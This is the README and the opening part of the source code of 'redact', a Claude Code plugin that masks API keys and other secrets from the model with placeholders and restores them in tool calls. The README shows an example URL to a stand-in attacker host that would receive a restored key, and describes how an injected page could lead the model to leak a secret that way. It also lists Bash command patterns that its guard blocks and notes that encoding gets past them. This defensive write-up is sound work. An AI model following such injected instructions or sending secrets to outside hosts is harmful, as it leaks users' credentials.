Lets Claude use your API keys, tokens, passwords and other secrets without the model seeing them: what your rules match is swapped for stable placeholders…

Swaps what your rules match for numbered placeholders before the model sees it, from the first request on, and puts the real values back where they run. No rule is on by default: your rules file starts with two examples, vendor tokens (sk-, ghp_, AKIA, xoxb-, JWTs and more) and email addresses, both off. Turn them on, add your own, give each its replacement label, and switch any rule on or off, from /redact or by editing the file. It is a pattern list, not a guarantee.
Protects against
Does not protect against
Secrets reach the model's context by many paths: a cat .env, an env dump, a git diff, a log line, an error message, your CLAUDE.md. Once there, they go to the model provider with every request, yet Claude often needs the value to run a command. redact is for anyone running Claude Code on a machine that holds real credentials.
Deny rules (Read(.env)) close one path, leave an env dump, a git diff and a log line open, and keep Claude from working with the file at all. gitleaks and other secret scanners check files and commits; they don't sit between a tool's output and the model. A DLP gateway masks requests on the wire, but needs a TLS-intercepting proxy, and the tool calls the model sends back hold placeholders your local tools can't run. redact runs inside Claude Code, where it sees both the request and the tool call, so it masks one and restores the other.
/plugin install redact --marketplace dboeter/cc-plugins
Answer y to add the marketplace, then pick a scope.
GITHUB_TOKEN=⟦API_KEY_n⟧.API_KEY, EMAIL, a label of your own) labels its placeholders. Distinct values get distinct numbers. A value keeps its placeholder for the whole session, its subagents, retries and a --resume, and once matched, a value is masked wherever it comes back as a whole word, even where no rule would match it, and even after you turn its rule off: hunter2 and a PIN too. The price: a word or number a rule misread stays masked for the rest of the session. A value with no letter or digit (**, ...) is never masked. Rules run in file order, and only on the text between placeholders, so \d+ never rewrites one's number..env, .env.* and *.env (dotenv, Docker), .envrc (direnv: its KEY=value lines; a $(…) value is skipped), .dev.vars and .dev.vars.* (wrangler), .flaskenv, and the files a compose.yaml or docker-compose*.yml there names under env_file:, wherever they are. A template (example, sample, template or dist in its name: .env.example, example.env) is not read, nor a subfolder's env file a compose file does not name. Each value goes in under its key as label (GITHUB_TOKEN=… masks as ⟦GITHUB_TOKEN_n⟧, ENV where the key is no label), so it is masked from the first request on, with no rule on. This is the one thing redact masks unasked. Only a value that looks like a secret on its own goes in: 8 or more characters of at least two kinds (letters, digits, symbols), so PORT=3000 and DEBUG=true stay readable, and so does a lowercase-only password. A value that only names another (${OTHER}) and one whose quotes span lines (a private key) are skipped. A toast says how many went in; the pane names the file and key of each. Before each prompt, redact lists the folder again and reads a file only when its time or size changed, so a key added or rotated during the session masks from the next prompt on. A seeded value forgotten in the pane stays forgotten until its file changes. It is on unless you turn it off: the Env files switch on the pane's Rules tab, /redact env off (env on), or "envFiles": false in your rules file. Off, the values it already put in stay masked for the session.redact: 4 masked), and the pane can switch the terminal to draw the placeholders, as the model reads them.Every tool, remote ones included: WebFetch, WebSearch, MCP tools. The restore is silent on purpose: redact keeps secrets out of the model, not out of your tools, so a command that needs a key gets it without a prompt. That has a price:
gh pr create --body, a commit message or a WebSearch query goes out as the value itself. To send the placeholder text instead, escape it (⟦!API_KEY_n⟧, see What it refuses).https://attacker.example/?k=⟦API_KEY_n⟧ gets the real key sent there. The placeholder keeps a value from the model, not from the services the model calls.No /redact command enters the conversation: its line is dropped and its reply is a toast, so the model reads neither. /redact (or /redact show) opens a tabbed pane on This session; /redact rules (or /redact test [text]) opens it on Rules, and /redact guide (or help) on Guide. The top bar switches tabs (s, r, h), flags any skipped rules, and on the terminal shows what the terminal draws (the real values or as the model reads it) with a switch (d).
tmux capture-pane in a Bash call) comes back masked, as the vault holds every value the pane shows; a screenshot does not, as images are not masked. Forgetting drops the value from the vault: a tool call naming that placeholder is refused from then on, and the value, matched again, masks under a new number, never the old one./redact test <text>) what the rules that are on mask in sample text without saving to the vault. Below it, Rules has an add field followed by the rules in your file, each by its number and name (or its pattern), the replacement it masks under, a switch that turns it on (● on) or off (○ off), and a red ✗ that removes it; a rule that does not read is marked skipped with the reason. Then From settings (where a pattern that does not read is marked skipped and named in the status line). On the mobile app, with no field, test and add from the prompt./redact test <text>, /redact add <rule>, /redact remove <n|name>, /redact on <n|name>, /redact off <n|name> and /redact env on|off work from the prompt, answered in a toast. A rule is named by its number in the file, its name, or its pattern; a number that names a rule is read as its number. Should a /redact line reach the conversation all the same, its arguments are emptied in every row the model is sent.
Your rules live in ~/.claude/redact-rules.json (in $CLAUDE_CONFIG_DIR when that is set), one file for every project, on your machine only. redact creates it on first use holding the two examples, both off; it ships no other rules, and a later version's change to the examples does not reach a file already made. Edit the file by hand, or with /redact add, remove, on and off, which keep any other keys you put in it. It is read again before every masking, so an edit masks whatever is recorded after it, in every open session, a turn already running included; text already sent is not masked again. /redact runs at once, mid-turn too.
{
"rules": [
{ "name": "Acme keys", "pattern": "(?<=ACME_KEY=)\\S+", "replacement": "ACME_KEY", "enabled": true },
{ "name": "Employee ids", "pattern": "\\be\\d{6}\\b", "replacement": "EMPLOYEE_ID", "enabled": false, "ignoreCase": true, "min": 6 }
]
}
Each rule has:
pattern: a JavaScript regex (backslashes doubled, as JSON wants). Each match is masked whole; a lookbehind keeps a prefix, and so does a group named v (or v2), which is all that is masked when it matched: (?<pre>ACME_KEY=)(?<v>\S+).replacement: the label its placeholders take, capital letters, digits and _: ACME_KEY masks as ⟦ACME_KEY_n⟧. Left out, it is SECRET.enabled: false turns the rule off. Left out, the rule is on: you wrote it to mask.name: what the pane, a toast and the vault call it. Optional.ignoreCase: true matches whatever the case; min: N masks only a match of N characters or more, and not one of lowercase letters only; strong: true masks only a match of 8 or more characters of at least two kinds out of letters, digits and symbols; prose: true leaves an unquoted match right after a colon alone when words follow it on the line./redact add and the pane's add field take a rule as one line, LABEL [options]: regex, or a bare regex masked as SECRET, and add it on: /redact add EMPLOYEE_ID i min=6: \be\d{6}\b. The options there are i, min=N, strong and prose. A rule that does not read (no pattern, a replacement that is not a label, a regex that does not compile) is skipped and marked in the pane. A file that does not parse as JSON with a rules list is never written over: masking goes on with the last rules read (none, if it never parsed), and the status line says so until you fix it.
An older version kept your patterns in ~/.claude/redact-patterns.txt and shipped seven built-in rules. On first use with no rules file, redact moves that file's patterns into the new one, each on and named by the comment above it, turns an example on where its built-in rule was on, and leaves the old file in place. A toast names the other built-in rules you had on (private keys, Bearer tokens, URL passwords, --password values, values assigned to a secret's name), which mask nothing now: add a rule of your own for any you still want.
More can be set in the patterns option, as one-line rules, always on and run after the file's; it is a list, so set it in settings.json (/config does not show list fields):
"pluginConfigs": { "redact@dboeter": { "options": { "patterns": ["ACME_KEY: (?<=ACME_KEY=)\\S+"] } } }
! after its opening bracket: ⟦!API_KEY_n⟧ with a real number is written as the placeholder itself, never looked up. In a README, write placeholders with a letter for the number (⟦API_KEY_n⟧), as this one does, or without the brackets.guard: true option turns it on): any call that reads or changes your rules file, a call that would change its store (the vaults), or its enabledPlugins and pluginConfigs entries in a settings file. A file tool is matched on where its path lands, so a link or another casing is caught, and a Grep over a folder that holds the rules file (~/.claude, your home folder) is refused. A Write or Edit of a settings file is compared before and after, so an edit that names only "patterns" is caught. Bash is matched as text: a command naming the rules file, a glob at the top of a .claude folder (cat ~/.claude/*), a recursive reader or copier (grep -r, rg, find, tar, cp) naming that folder, the store, or a claude/settings*.json path and redact. A bare ls ~/.claude passes. Reading the store through Bash is refused too; the pane lists your rules.base64, rev) gets through, and so does any secret no rule that is on describes. A value first sent before any rule matched it stays in the rows that already carry it.! on write.Permission rules and a managed-settings entry hold where the plugin's own guard can't: see HARDENING.md.
~/.claude/redact-rules.json; in the plugin's store, ~/.claude/plugins/store/redact_*.json, a vault per session, holding that session's real values in plain text. A vault untouched for 30 days is dropped when a session starts; a --resume of that session then refuses its placeholders.~/.claude/redact-patterns.txt once, to move an older version's patterns, and at each session start and before each prompt lists the folder it starts in, and reads its env files, its compose files and the env files those name when they changed. The transcript file keeps a tool's own record (what the terminal draws, a Read's file content say) as the tool made it; what the model is sent is masked.hooks/redact.tsx 1018 lines1import type { EngineInterface, Register } from 'claude-code'
2
3// Swaps secret-shaped values for numbered placeholders (⟦API_KEY_n⟧) in what the model reads,
4// before it leaves the machine: the prompt and a command's arguments, the first request's
5// context blocks and system prompt, the reminders and mentioned files the engine injects, a
6// skill's text, and every row a conversation keeps (tool results, a subagent's rows too). The
7// values stay in this session's vault, in the plugin's $.store, never in a request; a value keeps
8// its placeholder for the whole session, its subagents and a --resume.
9// Every tool call gets the real values back in its input before it runs, a remote tool's too
10// (WebFetch, WebSearch, MCP): the person chose an uninterrupted workflow over blocking those,
11// knowing that a page telling the model to put a placeholder in a URL gets the value sent. The
12// permission check, which runs beneath this hook, sees the real values too. The terminal draws
13// them back, unless the pane's toggle shows them as the model reads them; a remote surface keeps
14// the placeholders.
15// Fails closed: a masking hook that throws or outruns its budget withholds what it masks (the
16// `.catch` on each), and a placeholder the vault does not hold refuses the call. The model's own
17// tool_use input is recorded before any hook runs, so the transcript keeps the placeholders.
18// Best-effort pattern list, not a guarantee.
19
20// ⟦ and ⟧ open and close a placeholder: no rule's value holds them (STOP below) and real text
21// rarely does, so a placeholder is never masked again and a token of its shape is read as ours.
22// Spelled as escapes, so no file of this plugin holds a placeholder a restore would fill in, nor
23// an escaped one (`!` after the bracket) a restore would rewrite.
24const OPEN = '⟦'
25// a placeholder or an escaped one, both kept whole by every pass that splits on it
26const PH_SPLIT = /(⟦!?[A-Z][A-Z0-9_]*_\d+⟧)/
27// A placeholder escaped: `!` after the opening bracket. Restore gives its literal text and never
28// looks it up, so text about placeholders (a doc, a report) can name one.
29const ESC = OPEN + '!'
30const PH_OR_ESC = /⟦(!?)([A-Z][A-Z0-9_]*_\d+⟧)/g
31const LABEL = /^[A-Z][A-Z0-9_]*$/
32
33// A rule of the rules file: a JavaScript regex, the label its placeholders take (`replacement`:
34// API_KEY masks as API_KEY_n), whether it is on, and its options (`ignoreCase`, and `min`,
35// `strong`, `prose` as Pattern below has them). `name` is what the pane and the vault call it.
36type Rule = { name?: string; pattern: string; replacement: string; enabled?: boolean; ignoreCase?: boolean; min?: number; strong?: boolean; prose?: boolean }
37
38// The rules a new rules file holds: two examples, both off, so nothing is masked until the person
39// turns one on or adds their own. Copied into the file once; a later version's change to them
40// does not reach it. Their repeats are bounded ({1,64}, {1,512}): unbounded, a crafted output
41// (thousands of `-eyJ`) takes time quadratic in its size, outruns the hook budget and gets the
42// row withheld. The speed test in redact.test.ts pins this. A real-looking token here would trip
43// the pre-push secret scan, so the names describe a match rather than show one.
44export const EXAMPLES: Rule[] = [
45 // JS copy of ~/dotagents/scripts/git-hooks/lib/secret-content.ere's vendor shapes (plus hf_, ya29.)
46 { name: 'Example: vendor tokens (sk-, gh*_, github_pat_, AKIA, ASIA, xox*-, AIza, sk_live_, glpat-, npm_, dckr_pat_, SG., hf_, ya29.) and JWTs',
47 pattern: /\b(?:sk-[\w-]{20,}|gh[pousr]_\w{36,}|github_pat_\w{20,}|(?:AKIA|ASIA)[0-9A-Z]{16}|xox[abprs]-[\w-]{10,}|AIza[\w-]{35}|[sr]k_(?:live|test)_[0-9A-Za-z]{24,}|glpat-[\w-]{20,}|npm_[A-Za-z0-9]{36}|dckr_pat_[\w-]{20,}|SG\.[\w-]{20,}\.[\w-]{20,}|hf_[A-Za-z0-9]{30,}|ya29\.[\w-]{20,}|eyJ[\w-]{1,512}\.[\w-]+\.[\w-]+)/.source,
48 replacement: 'API_KEY', enabled: false },
49 // Starts where a run of address characters does, so a local part past 64 is left whole rather
50 // than cut. Not `git@`, a git host's ssh user; a TLD of letters leaves `react@18.2.0` alone,
51 // `(?![1-9]x\.)` an image's `@2x.png`.
52 { name: 'Example: email addresses',
53 pattern: /(?<![\w.+-])(?!git@)[\w.+-]{1,64}@(?![1-9]x\.)(?:[\w-]{1,63}\.){1,8}[A-Za-z]{2,24}(?![\w-])/.source,
54 replacement: 'EMAIL', enabled: false },
55]
56
57// A pattern: each match masked whole, or only its `v` (or `v2`) group when it has one, under
58// `label`; `by` is what the pane says masked it. Its options: `strong` masks only a value that
59// passes `strong` below, `min` only one that long and not all lowercase (WORD), `prose` leaves an
60// unquoted value after a colon alone when words follow it (PROSE).
61type Pattern = { re: RegExp; label: string; by?: string; strong?: boolean; min?: number; prose?: boolean }
62type Spec = Omit<Pattern, 're'> & { src: string; flags: string }
63// A rule as compiled. Throws why it does not read: no pattern, a replacement no placeholder can
64// carry, an option of the wrong type, a regex that does not compile.
65const spec = (r: any): Spec => {
66 if (!r || typeof r !== 'object' || Array.isArray(r)) throw new Error('not a rule')
67 if (typeof r.pattern !== 'string' || !r.pattern) throw new Error('no pattern')
68 const label = r.replacement ?? 'SECRET'
69 if (typeof label !== 'string' || !LABEL.test(label)) throw new Error('replacement is not capitals, digits and _')
70 if (r.min !== undefined && !(Number.isInteger(r.min) && r.min >= 0)) throw new Error('min is not a whole number')
71 for (const k of ['enabled', 'ignoreCase', 'strong', 'prose']) if (r[k] !== undefined && typeof r[k] !== 'boolean') throw new Error(`${k} is not true or false`)
72 const s: Spec = { src: r.pattern, flags: r.ignoreCase ? 'gdi' : 'gd', label }
73 if (r.min) s.min = r.min
74 if (r.strong) s.strong = true
75 if (r.prose) s.prose = true
76 new RegExp(s.src, s.flags)
77 return s
78}
79// A line in the short form /redact add and the `patterns` option take, as a rule that is on:
80// `LABEL [options]: regex`, or a bare regex, masked as SECRET. The regex is the rest of the line
81// after the first `: `, as written; a label is capitals, so a regex like `(?<x>a): b` stays whole.
82// Throws why the line does not read: an unknown option, or what `spec` throws.
83const RULE = /^([A-Z][A-Z0-9_]*)((?:[ \t]+[\w=-]+)*)[ \t]*:[ \t]+(.*)$/
84const read = (line: string): Rule => {
85 const [, label = 'SECRET', opts = '', src = line] = RULE.exec(line) ?? []
86 const r: Rule = { pattern: src.trim(), replacement: label, enabled: true }
87 for (const o of opts.split(/\s+/).filter(Boolean)) {
88 const [k, v] = o.split('=')
89 if (k === 'min' && v && /^\d+$/.test(v)) r.min = Number(v)
90 else if (o === 'strong' || o === 'prose') r[o] = true
91 else if (o === 'i') r.ignoreCase = true
92 else throw new Error(`unknown option ${o}`)
93 }
94 spec(r)
95 return r
96}
97
98// A session's vault: the next number per label and each placeholder's value, as the store keeps
99// it, and which rule or pattern masked each (`by`, absent from a vault saved before it was
100// kept); `at` is when it last changed, for pruning. Held adds the reverse index and the
101// known-values pattern, both rebuilt from `ph`, and whether it changed since it was saved.
102// `known` is undefined until knownOf builds it, null when the vault is empty.
103type Vault = { at: number; n: Record<string, number>; ph: Record<string, string>; by?: Record<string, string> }
104type Held = { id: string; v: Vault; byValue: Map<string, string>; known?: RegExp | null; dirty: boolean }
105export const fresh = (id = ''): Held => ({ id, v: { at: 0, n: {}, ph: {} }, byValue: new Map(), dirty: false })
106
107// The placeholder of a value: the one it has, or the next number under its label.
108const mint = (h: Held, value: string, label: string, by: string) => {
109 let p = h.byValue.get(value)
110 if (p) return p
111 const n = (h.v.n[label] ?? 0) + 1
112 h.v.n[label] = n
113 p = `${OPEN}${label}_${n}⟧`
114 h.v.ph[p] = value
115 ;(h.v.by ??= {})[p] = by
116 h.byValue.set(value, p)
117 h.known = undefined
118 h.dirty = true
119 return p
120}
121
122// a value with no letter or digit (`**`, `...`) is markup or code, never a secret
123const ALNUM = /[A-Za-z0-9]/
124// An unquoted value after `name:` with a word after it is prose, a heading or a list (`TOKEN: a
125// token-shaped value`, the pane's own rows read back), not a setting.
126const PROSE = /^[ \t]+[A-Za-z]/
127// A `min` rule leaves a value of lowercase letters alone (`password: value`, `--token word`): a doc
128// or a usage line puts a word there far more often than a setting puts a password, and once
129// vaulted, the word is masked everywhere all session. The person's choice, at a price: a
130// lowercase-only password (`password=letmein`) is sent as it is.
131const WORD = /^[a-z]+$/
132// `part` with each match of `x` that passes its checks swapped for a placeholder: the `v` or `v2`
133// span where the match has one (a pattern compiled with `d` gives their indices), else the whole match.
134const swap = (part: string, h: Held, x: Pattern) => {
135 let out = '', at = 0
136 for (const r of part.matchAll(x.re)) {
137 const g = r.indices?.groups
138 const [from, to] = g?.v ?? g?.v2 ?? [r.index, r.index + r[0].length]
139 const value = part.slice(from, to)
140 if (!value || value.includes(OPEN) || !ALNUM.test(value) || (x.strong && !strong(value)) || value.length < (x.min ?? 0)) continue
141 if (x.min && WORD.test(value)) continue
142 if (x.prose && /:[ \t]*$/.test(part.slice(r.index, from)) && PROSE.test(part.slice(r.index + r[0].length))) continue
143 out += part.slice(at, from) + mint(h, value, x.label, x.by ?? 'a pattern')
144 at = to
145 }
146 return at ? out + part.slice(at) : part
147}
148
149// A value that looks like a secret on its own: 8 or more characters, of at least two kinds out
150// of letters, digits and symbols (whitespace is no symbol, so a misread phrase is not one). A
151// `strong` rule, which guesses from context alone, masks only such a value.
152const strong = (s: string) => s.length >= 8 && [/[A-Za-z]/, /[0-9]/, /[^A-Za-z0-9\s]/].filter(k => k.test(s)).length >= 2
153// Every value the vault holds, longest first, as one pattern, each only where it stands apart
154// from word characters, so `abc123xy` leaves `abc123xyz` alone; null when the vault is empty.
155// Weak ones too (`hunter2`, a PIN): a value comes back in shapes no rule matches (a prompt the
156// model writes for a subagent, after restore). The price: a word or number a rule misread stays
157// masked, as a whole word, for the whole session.
158const escape = (s: string) => s.replace(/[.*+?^${}()|[\]\\\/]/g, '\\$&')
159const knownOf = (h: Held) => {
160 if (h.known !== undefined) return h.known
161 const values = [...h.byValue.keys()].sort((a, b) => b.length - a.length)
162 return h.known = values.length ? new RegExp(values.map(s => '(?<!\\w)' + escape(s) + '(?!\\w)').join('|'), 'g') : null
163}
164
165// `f` over the text between placeholders, the placeholders left as they are
166const between = (s: string, f: (part: string) => string) => s.split(PH_SPLIT).map((part, i) => i % 2 ? part : f(part)).join('')
167
168// Rules first, over the whole text, so a later rule sees an earlier one's placeholder and leaves
169// it. Then, only between placeholders (a pattern like `\d+` would rewrite one's number), the
170// person's patterns, and every value the vault already holds, wherever it stands: a value
171// once matched is never sent, in whatever shape it comes back. A placeholder-shaped text the
172// vault does not hold (a doc naming the format) reads escaped, so writing it back gives the
173// literal. Masking twice is masking once.
174export const mask = (s: string, h: Held, patterns: readonly Pattern[]) => {
175 const ruled = patterns.reduce((acc, x) => between(acc, part => swap(part, h, x)), s)
176 if (!ruled.includes(OPEN) && !h.byValue.size) return ruled
177 const known = h.byValue.size ? knownOf(h) : null
178 const placeholder = (p: string) => p.startsWith(ESC) || p in h.v.ph ? p : ESC + p.slice(OPEN.length)
179 const text = (t: string) => known ? t.replace(known, m => h.byValue.get(m) ?? m) : t
180 return ruled.split(PH_SPLIT).map((part, i) => i % 2 ? placeholder(part) : text(part)).join('')
181}
182
183// The real values back in a string, and an escaped placeholder as its literal text; `missing`
184// collects the placeholders the vault does not hold.
185export const restore = (s: string, h: Held, missing?: Set<string>) =>
186 s.includes(OPEN) ? s.replace(PH_OR_ESC, (p, esc: string, body: string) => esc ? OPEN + body : h.v.ph[p] ?? (missing?.add(p), p)) : s
187
188// `f` over every string in a value; the same value back where nothing changed.
189const deep = (v: unknown, f: (s: string) => string): unknown => {
190 if (typeof v === 'string') return f(v)
191 if (Array.isArray(v)) { const a = v.map(x => deep(x, f)); return a.some((x, i) => x !== v[i]) ? a : v }
192 if (v && typeof v === 'object') {
193 const es = Object.entries(v)
194 const out = es.map(([k, x]) => [k, deep(x, f)] as const)
195 return out.some(([, x], i) => x !== es[i]![1]) ? Object.fromEntries(out) : v
196 }
197 return v
198}
199
200// A row's rewritable text: its text blocks and its tool results' content. Media, thinking and
201// tool_use blocks pass as they are. The same array back where nothing changed.
202const blocks = (content: any, f: (s: string) => string): any => {
203 if (typeof content === 'string') return f(content)
204 if (!Array.isArray(content)) return content
205 const out = content.map((b: any) => b?.type === 'text' && typeof b.text === 'string' ? { ...b, text: f(b.text) }
206 : b?.type === 'tool_result' ? { ...b, content: blocks(b.content, f) }
207 : b)
208 return out.some((b: any, i: number) => b.text !== content[i].text || b.content !== content[i].content) ? out : content
209}
210// a /redact command line as the engine records it, its arguments in group 2
211const REDACT_ARGS = /(<command-name>\/redact<\/command-name>[\s\S]*?<command-args>)[\s\S]*?(<\/command-args>)/g
212const WITHHELD = 'redact: withheld, as masking it failed. Tell the user; the redact plugin needs a look.'
213
214// The input fields whose text lands in a file or runs. Bash is checked whole: a write that
215// is no file write (`gh secret set --body`, `curl -d`) has no shape to tell it apart.
216const WRITES: Record<string, string[]> = { Write: ['content'], Edit: ['old_string', 'new_string'], NotebookEdit: ['new_source'], Bash: ['command'] }
217
218// why a rule, or a line in the short form, does not read; undefined when it does
219const fault = (r: unknown) => { try { spec(r); return undefined } catch (err) { return (err as Error).message } }
220const lineFault = (line: string) => { try { read(line); return undefined } catch (err) { return (err as Error).message } }
221// A rule with no `enabled` is on: the person wrote it to mask, and a miss sends the value.
222const isOn = (r: any) => r?.enabled !== false
223// the rules that are on and read, compiled
224const compile = (rules: readonly unknown[], from: string): Pattern[] => rules.flatMap(r => {
225 if (fault(r) || !isOn(r)) return []
226 const { src, flags, ...s } = spec(r)
227 return [{ ...s, re: new RegExp(src, flags), by: `${from}: ${(r as Rule).name ?? src}` }]
228})
229// A pattern line of the old patterns file, with the comment line right above it as its name. A
230// blank line ends a comment, so the header names nothing.
231type Line = { line: string; name?: string }
232const parse = (text: string): Line[] => {
233 let name: string | undefined, inComment = false
234 return text.split('\n').flatMap(raw => {
235 const l = raw.trim()
236 if (l.startsWith('#')) { if (!inComment) name = l.replace(/^#\s*/, '') || undefined; inComment = true; return [] }
237 const at = name
238 name = undefined
239 inComment = false
240 return l ? [{ line: l, name: at }] : []
241 })
242}
243const PANE = 'redact'
244const TITLE = 'Redact rules'
245// The rules /redact and the pane keep: a JSON file of the user's, per user, for every project,
246// next to settings.json, so they can edit it by hand. A new one holds EXAMPLES.
247const FILE = 'redact-rules.json'
248const YOURS = 'rule'
249const json = (rules: readonly unknown[]) => JSON.stringify({ rules }, null, 2) + '\n'
250// each session's vault, under its id, in the store; one untouched this long is dropped
251const VAULT = 'vault:'
252const KEEP_MS = 30 * 24 * 3600 * 1000
253
254// The patterns file of the version before, which shipped these rules in code and turned one off
255// with an `off <id>` line. Moved into a rules file once, when there is none: each pattern line
256// that reads becomes a rule that is on, named by the comment above it, and an example is on
257// where the old file left its rule on (`was`). `gone` names the other rules it left on, which mask
258// nothing now; `lost` counts the lines that did not read. The old file stays where it is.
259const OLD_FILE = 'redact-patterns.txt'
260const OLD_RULES = ['private-key', 'vendor-token', 'bearer', 'url-password', 'flag', 'assigned', 'email']
261const WAS = ['vendor-token', 'email'] // EXAMPLES' rule in the old file, in their order
262const OFF = /^off[ \t]+(\S+)$/
263export const migrate = (t: string) => {
264 const lines = parse(t)
265 const off = new Set(lines.flatMap(l => OFF.exec(l.line)?.[1] ?? []))
266 const left = OLD_RULES.filter(id => !off.has(id))
267 const examples = EXAMPLES.map((r, i) => ({ ...r, enabled: left.includes(WAS[i]!) }))
268 let lost = 0
269 const rules = lines.flatMap(l => {
270 if (OFF.test(l.line)) return []
271 try { return [{ ...l.name ? { name: l.name } : {}, ...read(l.line) }] } catch { lost++; return [] }
272 })
273 return { text: json([...examples, ...rules]), gone: left.filter(id => !WAS.includes(id)), lost }
274}
275
276// The file's rules as last read, and compiled, and where the file is; one per load. Read again at
277// every masking, so an edit by hand or a rule another session added masks here too; a text that
278// does not parse keeps the last rules (`broken` says why). The vault being loaded, and the queue
279// its saves wait in; whether the terminal draws placeholders (`raw`), the settings patterns that
280// did not compile and how many did (`extra`), and the status line last set. These helpers sit at
281// the top of the file because the engine only follows `$` into such functions.
282type Tab = 'session' | 'rules' | 'help'
283const TABS: Record<string, Tab> = { '': 'session', show: 'session', session: 'session', rules: 'rules', patterns: 'rules', test: 'rules', guide: 'help', help: 'help' }
284type Kept = { rules: unknown[]; compiled: Pattern[]; broken?: string; last?: string; file?: Promise<string>; seeded?: boolean; note: string; extra: number
285 vault?: { id: string; held: Promise<Held> }; env?: { id: string; seen: Seen }; envOn?: boolean; saving: Promise<unknown>; raw: boolean; skipped: string[]; shown?: string; revealed: Set<string>; opened?: boolean; tab: Tab; sample: string }
286// CLAUDE_CONFIG_DIR, else ~/.claude; USERPROFILE is Windows' HOME
287const place = ($: EngineInterface, k: Kept) => k.file ??= (async () => {
288 const dir = await $.env.get('CLAUDE_CONFIG_DIR') || `${await $.env.get('HOME') || await $.env.get('USERPROFILE') || '~'}/.claude`
289 return `${dir.replace(/[\\/]+$/, '')}/${FILE}`
290})()
291// The file's text, undefined when it, or the old patterns file it would be made from, is there
292// but did not read. None at all is made once per load, from the old patterns file when there is
293// one (`migrate`, and a toast of what changed), else from the examples: a write that fails still
294// masks with it.
295const text = async ($: EngineInterface, k: Kept, path: string) => {
296 if (await $.fs.exists(path).catch(() => true)) return $.fs.read(path).then(String, () => undefined)
297 const old = path.replace(/[^\\/]+$/, OLD_FILE)
298 const was = await $.fs.exists(old).catch(() => true) ? await $.fs.read(old).then(String, () => null) : undefined
299 if (was === null) return undefined
300 const moved = was === undefined ? undefined : migrate(was)
301 const next = moved?.text ?? json(EXAMPLES)
302 if (!k.seeded) {
303 k.seeded = true
304 await $.fs.write(path, next).then(
305 () => {
306 if (!moved) return
307 const gone = moved.gone.length ? ` ${moved.gone.join(', ')} ${moved.gone.length > 1 ? 'were' : 'was'} on and ${moved.gone.length > 1 ? 'mask' : 'masks'} nothing now.` : ''
308 const lost = moved.lost ? ` ${moved.lost} line${moved.lost > 1 ? 's' : ''} that did not read stayed behind.` : ''
309 told($, `redact: your patterns moved from ${OLD_FILE} to ${FILE}; redact ships no built-in rules now.${gone}${lost} /redact rules lists what is on.`)
310 },
311 err => $.ui.log(`redact: ${FILE} not written: ${(err as Error)?.message ?? err}`, { to: 'debug' }))
312 }
313 return next
314}
315// the rules from the file's text, compiled again only when the text changed
316const take = (k: Kept, t: string) => {
317 if (t === k.last) return
318 k.last = t
319 let rules: unknown
320 try { rules = JSON.parse(t)?.rules } catch {}
321 if (!Array.isArray(rules)) { k.broken = 'is no JSON object with a rules list'; return }
322 k.broken = undefined
323 k.rules = rules
324 k.envOn = JSON.parse(t).envFiles !== false
325 k.compiled = compile(rules, YOURS)
326}
327const sync = async ($: EngineInterface, k: Kept) => {
328 const t = await text($, k, await place($, k))
329 if (t !== undefined) take(k, t)
330}
331// Writes the file's rules as `f` changes them, and the keys in `top`, its other keys kept; a file
332// that did not read or parse is left alone, never written over. Undefined when saved, else why not.
333const save = async ($: EngineInterface, k: Kept, f: (rules: unknown[]) => unknown[], top: object = {}) => {
334 const path = await place($, k)
335 const t = await text($, k, path)
336 if (t === undefined) return `not saved: ${FILE} did not read`
337 take(k, t)
338 if (k.broken) return `not saved: ${FILE} ${k.broken}; fix it by hand`
339 const next = JSON.stringify({ ...JSON.parse(t), ...top, rules: f(k.rules) }, null, 2) + '\n'
340 try { await $.fs.write(path, next) } catch (err) { return `not saved: ${(err as Error)?.message ?? err}` }
341 take(k, next)
342 $.ui.invalidate('ui.render')
343 return undefined
344}
345// a rule by its number, its name or its pattern; -1 when none is
346const pick = (k: Kept, ref: string) => /^\d+$/.test(ref) && k.rules[Number(ref) - 1] !== undefined ? Number(ref) - 1
347 : ref ? k.rules.findIndex((r: any) => r?.name === ref || r?.pattern === ref) : -1
348// No reply names a rule by more than its number: a reply to a typed command can reach the model.
349const NONE = 'no such rule: give its number or name (/redact rules lists them)'
350// turns a rule on or off
351const turn = async ($: EngineInterface, k: Kept, ref: string, on: boolean) => {
352 await sync($, k)
353 const i = pick(k, ref)
354 if (i < 0) return NONE
355 if (isOn(k.rules[i]) === on) return `already ${on ? 'on' : 'off'}: #${i + 1}`
356 return await save($, k, rules => rules.map((r, j) => j === i ? { ...r as object, enabled: on } : r))
357 ?? `#${i + 1} ${on ? 'on' : 'off'}: from now on, mid-turn too`
358}
359const add = async ($: EngineInterface, k: Kept, typed: string) => {
360 await sync($, k)
361 if (!typed) return 'nothing added: give a regex'
362 let rule: Rule
363 try { rule = read(typed) } catch (err) { return `not added: ${(err as Error).message}` }
364 const at = k.rules.findIndex((r: any) => r?.pattern === rule.pattern && (r?.replacement ?? 'SECRET') === rule.replacement)
365 if (at >= 0) return `already there, as #${at + 1}`
366 return await save($, k, rules => [...rules, rule]) ?? `added as #${k.rules.length}: it masks from now on, mid-turn too`
367}
368// Turns seeding from env files on or off: `envFiles` in the rules file, on when absent. Off keeps
369// what it already put in the vault; on reads the files before the next prompt.
370const envTurn = async ($: EngineInterface, k: Kept, on: boolean) => {
371 await sync($, k)
372 if ((k.envOn !== false) === on) return `env files already ${on ? 'on' : 'off'}`
373 return await save($, k, rules => rules, { envFiles: on })
374 ?? (on ? 'env files on: read from the next prompt on' : 'env files off: what they put in stays masked this session (forget it in /redact show)')
375}
376const remove = async ($: EngineInterface, k: Kept, ref: string) => {
377 await sync($, k)
378 const i = pick(k, ref)
379 if (i < 0) return NONE
380 return await save($, k, rules => rules.filter((_, j) => j !== i)) ?? `removed #${i + 1}`
381}
382
383// /redact's reply to its arguments, undefined for the pane. It answers in a toast, never as text:
384// a command's output row is one the model reads, and none of /redact is its business
385// (prompt.submit drops the line itself).
386const USAGE = 'show | rules | guide | test [text] | add <rule> | remove <n|name> | on <n|name> | off <n|name> | env on|off'
387const answer = async ($: EngineInterface, k: Kept, fromSettings: Pattern[], args: string) => {
388 const [, verb = '', rest = ''] = /^\s*(\S*)\s*([\s\S]*?)\s*$/.exec(args) ?? []
389 if (verb === 'add') return add($, k, rest)
390 if (verb === 'off' || verb === 'on') return turn($, k, rest, verb === 'on')
391 if (verb === 'remove') return remove($, k, rest)
392 if (verb === 'env' && (rest === 'on' || rest === 'off')) return envTurn($, k, rest === 'on')
393 if (verb === 'test' && rest) {
394 await sync($, k)
395 k.tab = 'rules'; k.note = ''; k.sample = rest
396 await $.ui.open({ id: PANE, title: TITLE, focus: true }); k.opened = true
